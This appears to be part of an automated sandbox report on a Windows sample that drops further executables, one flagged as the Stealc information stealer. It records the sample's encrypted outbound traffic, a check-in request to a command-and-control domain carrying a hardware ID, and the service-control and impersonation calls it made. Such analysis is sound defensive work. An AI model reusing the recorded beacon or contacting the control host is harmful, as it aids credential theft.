2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: c2 e6 23 55 91 41 97 be 55 7f bb ea c7 7a ff a7 4b 1b 25 2c 34 c9 32 38 14 b9 96 a3 8d 96 d4 00 b2 f8 4b e4 98 cd 0b 32 e4 11 86 c4 d2 af 1b b9 f3 99 e1 a5 37 2e 9f 24 af 44 89 87 7b e5 a6 9b 84 89 43 63 2c 83 38 5c 34 25 ff 10 5c 34 61 ac 50 15 19 9c 0a b9 76 3d cb 1f 0c 1d f8 01 a9 29 b4 d7 dd 2b 60 d3 cf a8 c7 04 12 6b 68 cd 50 36 c3 5c 1a 8e 40 f1 0a 13 6b 67 1a 1e 87 72 4f 7e f2 ee 43 a5 46 c0 ee ec 0e 6b b5 cc 6a 45 76 be 85 c5 4a a4 0d cc 05 be af 35 1c 40 44 38 da 06 3c df 4b f3 d8 3c 4b e2 fa 2e 9d 7c d4 e0 b8 06 3d 4b 1c 8e 0c d2 fe a1 26 ba b6 63 7f 7b e5 a4 58 bb d1 bd cb 59 4c 7b fe 8f 8e 98 d0 54 1c a5 d0 76 24 24 17 f3 62 a0 c2 c0 83 e7 e9 85 cb dc 93 81 ee 35 38 fb 88 83 ec 94 14 4e f4 d2 53 88 76 6a e2 14 b5 5a bd 8f d0 45 19 96 d0 e0 e0 Data Ascii: #UAUzK%,428K27.$D{Cc,8\4%\4aPv=)+`khP6\@kgrO~CFkjEvJ5@D8<K<K.\|=K&c{XYL{Tv$$b58NSvjZE
2024-12-17 09:23:15 UTC	15331	OUT	Data Raw: a1 c1 15 d5 a1 fd 1a 43 d6 39 7a 3f 78 b0 9b be 1d e8 b2 2f ef cd 5f 89 bd 0f 37 74 a8 93 a3 60 5c 9c 8e 1c c1 cf ee 5d 3f 96 88 8b e9 12 fa fd 89 6d 3d e1 e4 c2 7e 19 e8 78 15 ae d9 b9 cb 09 0e 87 a3 65 c4 04 36 82 1b 58 aa 52 59 41 7f fe a5 3b 60 69 0b 0d a9 5c 09 61 e8 f9 db 74 84 ff de 7d b3 e6 a2 44 9f 87 98 43 f6 0e 25 b9 0a c5 7b 6a cf 07 34 b4 b1 bd c1 50 fc cd fe 13 d2 cb d4 6d 19 fc f1 ba d5 0e 06 c3 6d 74 82 69 ce 59 01 7b 99 c8 a9 30 85 bb 62 ea 90 ac 7d 70 e7 90 95 d6 3c 9b 7e 88 1b 7f 99 fd 9e 5f 8c e7 13 39 c0 e0 27 f7 84 28 52 8b e6 6d f0 62 b3 d2 cb 66 70 08 ec ff b0 45 ed ca d5 b5 6f 87 e1 bd 0a c4 2e 6d d9 44 55 c3 1c 74 e7 eb be 04 2f 07 13 98 9b eb 7d 1e 0a e0 b2 bb 7c 08 a7 98 d1 b5 5e 13 34 ce 4f 74 12 ae 04 d7 da e0 9d cd be 41 a0 Data Ascii: C9z?x/_7t`\]?m=~xe6XRYA;`i\at}DC%{j4PmmtiY{0b}p<~_9'(RmbfpEo.mDUt/}\|^4OtA
2024-12-17 09:23:20 UTC	1042	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=l0aorcpmiihc5glfhg3gqhv48t; expires=Sat, 12-Apr-2025 03:09:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=omuofOfk7J55cfQJsMhG%2FDx7e9K9wxNB4Xp7TPWt7QQv5eZKUAI%2By7PGQ%2FQ8X5TiJMSACquDPaoHmACHfvB1friLZ4EOEH9QzSQTaxFCDo41EsmGmhtmy1jG1HXKW1x5Ncc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35da79ed24f791-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1686&min_rtt=1679&rtt_var=645&sent=377&recv=602&lost=0&retrans=0&sent_bytes=2839&recv_bytes=588505&delivery_rate=1676234&cwnd=135&unsent_bytes=0&cid=d9a1ed7ec39acb6e&ts=4744&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49746	188.114.96.6	443	7024	C:\Users\user\Desktop\jYd7FUgGZc.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-17 09:23:21 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 82 Host: tacitglibbr.biz
2024-12-17 09:23:21 UTC	82	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d 26 68 77 69 64 3d 34 36 33 46 45 34 39 30 45 45 31 33 30 30 46 31 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 Data Ascii: act=get_message&ver=4.0&lid=PsFKDg--pablo&j=&hwid=463FE490EE1300F1AC8923850305D13E
2024-12-17 09:23:22 UTC	1035	IN	HTTP/1.1 200 OK Date: Tue, 17 Dec 2024 09:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=jfqte725qc1lrdutqlcggrqdn9; expires=Sat, 12-Apr-2025 03:10:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AtZfWq1UYRC9IekphQt8qsMgLZSZhiNmirU%2FXJ5aQkZWmlhILuXnGDj6qkJV%2FBkX0lgTFa9U7qnC7ccNMU3xfBJT2OQcJqLDzQWRJ2F4w5I1Qdv1dEEtjRx78a2anHyDG5Q%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f35daa00cef4204-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=18749&min_rtt=2260&rtt_var=10811&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2839&recv_bytes=981&delivery_rate=1292035&cwnd=234&unsent_bytes=0&cid=1824da482778c356&ts=827&x=0"
2024-12-17 09:23:22 UTC	214	IN	Data Raw: 64 30 0d 0a 46 71 62 55 43 6c 4c 65 4c 37 75 75 4f 61 4e 76 68 45 7a 42 30 4a 50 4c 5a 70 76 6c 51 52 43 6d 78 55 6c 72 35 72 50 4f 77 44 39 4e 33 66 5a 2f 63 4f 51 4e 30 39 70 4e 30 31 58 59 59 35 33 2f 6f 76 4e 54 74 64 64 77 4a 59 6a 30 65 46 6a 49 67 76 69 63 45 48 6e 41 73 6c 5a 39 75 6b 72 64 67 46 7a 62 43 71 5a 67 34 37 62 6e 36 56 79 72 79 57 4e 31 68 50 39 35 46 73 72 49 37 4c 55 64 4c 49 53 38 66 69 61 75 46 65 65 42 5a 59 78 65 76 48 6e 76 34 71 4c 2b 53 4b 72 55 63 6a 36 58 38 78 56 45 6c 63 65 72 6f 56 4a 4b 69 61 5a 72 50 4c 70 41 31 6f 42 63 32 77 71 6d 59 4f 4f 32 35 2b 6c 63 71 38 6c 6a 64 59 54 2f 65 52 61 37 0d 0a Data Ascii: d0FqbUClLeL7uuOaNvhEzB0JPLZpvlQRCmxUlr5rPOwD9N3fZ/cOQN09pN01XYY53/ovNTtddwJYj0eFjIgvicEHnAslZ9ukrdgFzbCqZg47bn6VyryWN1hP95FsrI7LUdLIS8fiauFeeBZYxevHnv4qL+SKrUcj6X8xVElceroVJKiaZrPLpA1oBc2wqmYOO25+lcq8ljdYT/eRa7
2024-12-17 09:23:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	3
Start time:	04:22:53
Start date:	17/12/2024
Path:	C:\Users\user\Desktop\jYd7FUgGZc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\jYd7FUgGZc.exe"
Imagebase:	0x350000
File size:	1'836'032 bytes
MD5 hash:	BB2F1D74AABD9D2A6EB16DD3CDE55E5E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:28:33
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\JI1XME003OC9O5S8X2QF4.exe"
Imagebase:	0x60000
File size:	1'782'272 bytes
MD5 hash:	658970FA0BE64B36B89CABF358BA6993
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:28:38
Start date:	17/12/2024
Path:	C:\Users\user\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user~1\AppData\Local\Temp\8P99AMTZO7HJA6VUEZKTJYJ0ZELS.exe"
Imagebase:	0xd20000
File size:	2'859'008 bytes
MD5 hash:	BF86F8D222211B376DD5C074CC460BED
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.1779295957.000000000179E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000003.1691365307.0000000005330000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000008.00000002.1777958771.0000000000D21000.00000040.00000001.01000000.00000009.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Function 0112EEF0 Relevance: .6, Instructions: 592COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01129000, based on PE: false

Associated: 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1129000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c64bfe7b1a71620778a15bf9c1d491b86afabe94f0cbb59f9de767a6b077db65
Instruction ID: 78741b6f2d47853b261319cf0da011d2c066bfbe7c506334c529694ad9a3a358
Opcode Fuzzy Hash: c64bfe7b1a71620778a15bf9c1d491b86afabe94f0cbb59f9de767a6b077db65
Instruction Fuzzy Hash: 2DF1335241E7E20FD32B877449798A4BF71AE1312471E8ACFC4D58F4E3E30A991AD366

Function 0112EEF0 Relevance: .6, Instructions: 578COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0112A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1129000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c39bb23e0a78dc88d8762f327949f195da95e8a06375a688f7ac934c36a10846
Instruction ID: 56ee93bd21cf015063dd41e4d775c740bf4176f370ac0af8162b49d6a8b91bdc
Opcode Fuzzy Hash: c39bb23e0a78dc88d8762f327949f195da95e8a06375a688f7ac934c36a10846
Instruction Fuzzy Hash: 21F1226240E3E24FD32B87744879894BF71AE1311471E8ACFC8D58F4E3E34A995AD366

Function 0112F1E8 Relevance: .1, Instructions: 149COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01129000, based on PE: false

Associated: 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1129000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49ab5d4af0cbcecee71013ece2bc367a6c24f6d9fa998e89ddbe65e4aee01480
Instruction ID: da7e701116f4ecefb8aeeacfef26e64c9c217ffa98db21669348421dee723006
Opcode Fuzzy Hash: 49ab5d4af0cbcecee71013ece2bc367a6c24f6d9fa998e89ddbe65e4aee01480
Instruction Fuzzy Hash: 8831106644E3D20FC36B8B744D394A5BFB06D13024B1E86CFC8918F4E3E319985AD726

Function 0112F1E8 Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0112A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1129000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac93f31fbb0de11935256b0a0cd6500fad0f787a120b0ac352ae78eb440013cb
Instruction ID: 57dbd34c2834e460729bdc07fb29d12bb27550b4d15750a1e8af86d80165872f
Opcode Fuzzy Hash: ac93f31fbb0de11935256b0a0cd6500fad0f787a120b0ac352ae78eb440013cb
Instruction Fuzzy Hash: 51310F6644E3D24FC36B8B744C288A5BFB06D13124B1E86CFC8918F4E3E358985AD723

Function 01142669 Relevance: .1, Instructions: 116COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1474066980.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01139000, based on PE: false

Associated: 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1135000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cc29e2f30de5dac9256d80ca98ac37f08fc1640ec22705b0ffc07319852c159
Instruction ID: c9fcf245e245b14960d2982c52baf96843f7a63351286185408a04327cee2cc1
Opcode Fuzzy Hash: 5cc29e2f30de5dac9256d80ca98ac37f08fc1640ec22705b0ffc07319852c159
Instruction Fuzzy Hash: 0C31BD8285E7C20FCB2787701C7A590BFA12E2301430E86CFC8CA4E8E3E3599485D767

Function 01142563 Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1474066980.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01139000, based on PE: false

Associated: 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1135000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 697a006aa0bdd007440c50fb2ae6fe0052707c723c393f2e89e71b147e49d89d
Instruction ID: e2e09d436e24802ba98dc2274a54ce1f988026902d8a2f0471e88f34e2fe86d0
Opcode Fuzzy Hash: 697a006aa0bdd007440c50fb2ae6fe0052707c723c393f2e89e71b147e49d89d
Instruction Fuzzy Hash: 1101E48148E7C41FDB1786701D398A47F346D6341030E87CFD8DA4E4E3D358964AE7A6

Function 011422FB Relevance: .0, Instructions: 36COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1474066980.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01139000, based on PE: false

Associated: 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1135000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf6707a67110e96f67f644b769b6985fe7fdbe821a3b09d69429f62646a58a4
Instruction ID: a1217d0da71fbc8841951444aa8d3b9e2f1c6e55f6ac9b8f40f35b44df1eb241
Opcode Fuzzy Hash: 5cf6707a67110e96f67f644b769b6985fe7fdbe821a3b09d69429f62646a58a4
Instruction Fuzzy Hash: D501F25284D3C20FCB578B305D7A550BF302A2712032E86CFC8864E8E3E358A886D727

Function 0113DA1B Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1474066980.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0113A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1135000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4b00de39479ade11a065c9395b6647c87fd4e4dc0260b3bdf752a24ce5df0890
Instruction ID: 531e6c91edce2a6ad17a3b1cb421a6eb0376ed0efc0270eac35c99af68f8a66c
Opcode Fuzzy Hash: 4b00de39479ade11a065c9395b6647c87fd4e4dc0260b3bdf752a24ce5df0890
Instruction Fuzzy Hash: DDD0EA6184E3C15FC313477449A95847FB54E23168B1A16DBC4E1CB1F3D94E498AC776

Non-executed Functions

Function 0113A8C5 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

_#, xrefs: 0113AB00

Memory Dump Source

Source File: 00000003.00000003.1474066980.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01135000, based on PE: false

Associated: 00000003.00000003.1448762007.0000000001135000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1135000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID: _#
API String ID: 0-3134539020
Opcode ID: e200fb8c6b6a2cb5e7f3126a79ba59818136bab4a49663b6c053a5f321e06293
Instruction ID: 89720ff61a0bd5f52d253e9fcb1b2e37e50e5b1d46633e9913d7faf22a3b98fb
Opcode Fuzzy Hash: e200fb8c6b6a2cb5e7f3126a79ba59818136bab4a49663b6c053a5f321e06293
Instruction Fuzzy Hash: 4B91A96245E7C14FD30B8B78AD695997FA5AE4313071E07DBC5E0CB0EBD319881AD32A

Function 0113A8C5 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

_#, xrefs: 0113AB00

Memory Dump Source

Source File: 00000003.00000003.1474066980.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01139000, based on PE: false

Associated: 00000003.00000003.1622374804.0000000001136000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1135000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID: _#
API String ID: 0-3134539020
Opcode ID: 2146efab1a6d123d2acbab3ccb7570e0f6efc2c0d7348b5504e0f09570f1cb68
Instruction ID: 89720ff61a0bd5f52d253e9fcb1b2e37e50e5b1d46633e9913d7faf22a3b98fb
Opcode Fuzzy Hash: 2146efab1a6d123d2acbab3ccb7570e0f6efc2c0d7348b5504e0f09570f1cb68
Instruction Fuzzy Hash: 4B91A96245E7C14FD30B8B78AD695997FA5AE4313071E07DBC5E0CB0EBD319881AD32A

Function 0113A8C5 Relevance: 1.9, Strings: 1, Instructions: 677COMMON

Download Yara Rule

Strings

_#, xrefs: 0113AB00

Memory Dump Source

Source File: 00000003.00000003.1474066980.000000000113A000.00000004.00000020.00020000.00000000.sdmp, Offset: 0113A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1135000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID: _#
API String ID: 0-3134539020
Opcode ID: 51b931ab9ce084f0d6cfb5eb52fffc7a4a226a1d4db4be7d4fbfdbef3ec3169d
Instruction ID: 89720ff61a0bd5f52d253e9fcb1b2e37e50e5b1d46633e9913d7faf22a3b98fb
Opcode Fuzzy Hash: 51b931ab9ce084f0d6cfb5eb52fffc7a4a226a1d4db4be7d4fbfdbef3ec3169d
Instruction Fuzzy Hash: 4B91A96245E7C14FD30B8B78AD695997FA5AE4313071E07DBC5E0CB0EBD319881AD32A

Function 0112CB74 Relevance: .2, Instructions: 185COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000003.1449506207.000000000112A000.00000004.00000020.00020000.00000000.sdmp, Offset: 01129000, based on PE: false

Associated: 00000003.00000003.1480299028.0000000001129000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_3_1129000_jYd7FUgGZc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b93c0ab84ab7d1e339207fc0a6e48e51136fdfbec01549dea64bec4fe9fc869d
Instruction ID: a50bfbb2c8dfb41c23c3ee8e202d38296237cec767a7f638128715d2ad4efeb3
Opcode Fuzzy Hash: b93c0ab84ab7d1e339207fc0a6e48e51136fdfbec01549dea64bec4fe9fc869d
Instruction Fuzzy Hash: 5D71E0318097A49FD72ACF78C884688BFB0EF0723835D46DDC5904F5A7C366A85ADB81

Analysis Process: JI1XME003OC9O5S8X2QF4.exePID: 7648, Parent PID: 7024COMMON

Execution Graph

Execution Coverage:	26.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	12
Total number of Limit Nodes:	0

Executed Functions

Function 04FB15D0 Relevance: 1.8, APIs: 1, Instructions: 299
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04FB18C8

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: e4a1793a7534e85fad87e892cf38547797907e0fdf683e4b398d2c565a314a58
Instruction ID: 15d662f9829eefd242e3794d6b6f803521529fac5ef85ad8f219eae429e3e3a5
Opcode Fuzzy Hash: e4a1793a7534e85fad87e892cf38547797907e0fdf683e4b398d2c565a314a58
Instruction Fuzzy Hash: C2C16B71D002599FDB10CFAAC9557EEBBB2FB46354F148129EC94E7284DB74A882CB81

Function 04FB15C4 Relevance: 1.8, APIs: 1, Instructions: 303
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ChangeServiceConfigA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?), ref: 04FB18C8

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ChangeConfigService
String ID:
API String ID: 3849694230-0
Opcode ID: a30b23c3b7e22d5a1404ec2b9727fbdaa738bbe7903e5ffde54a8b58de1809a5
Instruction ID: f4a59c97120cd15e711804b12f84d371ff2bec273ad626752067c6ae973468db
Opcode Fuzzy Hash: a30b23c3b7e22d5a1404ec2b9727fbdaa738bbe7903e5ffde54a8b58de1809a5
Instruction Fuzzy Hash: 40C16C71D002599FDB10CFA9CD557EEBBB2FB46354F148129EC94E7284DB74A882CB81

Function 04FB0D41 Relevance: 1.6, APIs: 1, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FB0DCD

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: fc3211a82ed3541811d69e9bedca0d73a1b338f095fb0e4549969d5078d54fd3
Instruction ID: ea07c69fd1ba22b0a7f7c81c8e3139afd0a075613284601c4ea4d75e258ee1df
Opcode Fuzzy Hash: fc3211a82ed3541811d69e9bedca0d73a1b338f095fb0e4549969d5078d54fd3
Instruction Fuzzy Hash: 0D213DB5C002199FDB10DF99D485BDEFBF4EB89320F148229D808AB245DB34A541CFA4

Function 04FB0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 04FB0DCD

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 9e054a1cdf851394603bd25a4ee5875b17d6dfa7efad91acc213b994c9bb4898
Instruction ID: acd85853028a4da5cb22f2cb628585ea0b793917d21956df880e236eb802a867
Opcode Fuzzy Hash: 9e054a1cdf851394603bd25a4ee5875b17d6dfa7efad91acc213b994c9bb4898
Instruction Fuzzy Hash: 622127B6C012199FCB10CF9AD884BDEFBF5FB89310F14821AD918AB245DB34A541CFA4

Function 04FB1509 Relevance: 1.6, APIs: 1, Instructions: 56
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FB1580

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 698aa639452f7e3c79a002d93df50dc1ee69a89adf3ff7745a03d27ce3cc2161
Instruction ID: 7c266347d1038b0adcd8a54df159c55f5bb70a788547a68d2a5493ab4e87b8a5
Opcode Fuzzy Hash: 698aa639452f7e3c79a002d93df50dc1ee69a89adf3ff7745a03d27ce3cc2161
Instruction Fuzzy Hash: 782117B1D003499FDB20CF9AC544BDEFBF4EB48320F108129E958A3250D778A545CFA5

Function 04FB1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 04FB1580

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 9e6e897a18389059ba23f01a148b997742e26895029152159149e9b56d708e02
Instruction ID: 9d77013fe43d622eac77b1870d6120b5e2ea0f6ba07a79b257f64cd8bbdc582f
Opcode Fuzzy Hash: 9e6e897a18389059ba23f01a148b997742e26895029152159149e9b56d708e02
Instruction Fuzzy Hash: C911E4B5D003499FDB20CF9AC585BDEFBF4EB48320F108029E959A3250D778AA45CFA5

Function 04FB1301 Relevance: 1.6, APIs: 1, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FB1367

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: b6f541f31b581ded4ad8b2d143687e75fc1a5c2cfbc2c2e80aca6d29fcf9d453
Instruction ID: 0748a39d3bf6a76d83e03e2b172c8067c724655a51eafe1610112528876c3567
Opcode Fuzzy Hash: b6f541f31b581ded4ad8b2d143687e75fc1a5c2cfbc2c2e80aca6d29fcf9d453
Instruction Fuzzy Hash: 281158B1800349CFDB20CF9AD985BEEBBF4EF48320F148429D458A3250D738A545CFA1

Function 04FB1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 04FB1367

Memory Dump Source

Source File: 00000007.00000002.1773970863.0000000004FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4fb0000_JI1XME003OC9O5S8X2QF4.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 23d3ecbae2bb9a8ac5991a1a686d00ed14fb9f4e3b4ede2bc80d48e9831a4eb0
Instruction ID: 443c5b7ce1de0f7f8ac2f4a0d75c7d747d73b7e010ab2d40934d77489dc50741
Opcode Fuzzy Hash: 23d3ecbae2bb9a8ac5991a1a686d00ed14fb9f4e3b4ede2bc80d48e9831a4eb0
Instruction Fuzzy Hash: 3D1122B1800349CFDB20CF9AC945BDEBBF8EB48320F24842AD558A3250D778A945CFA5

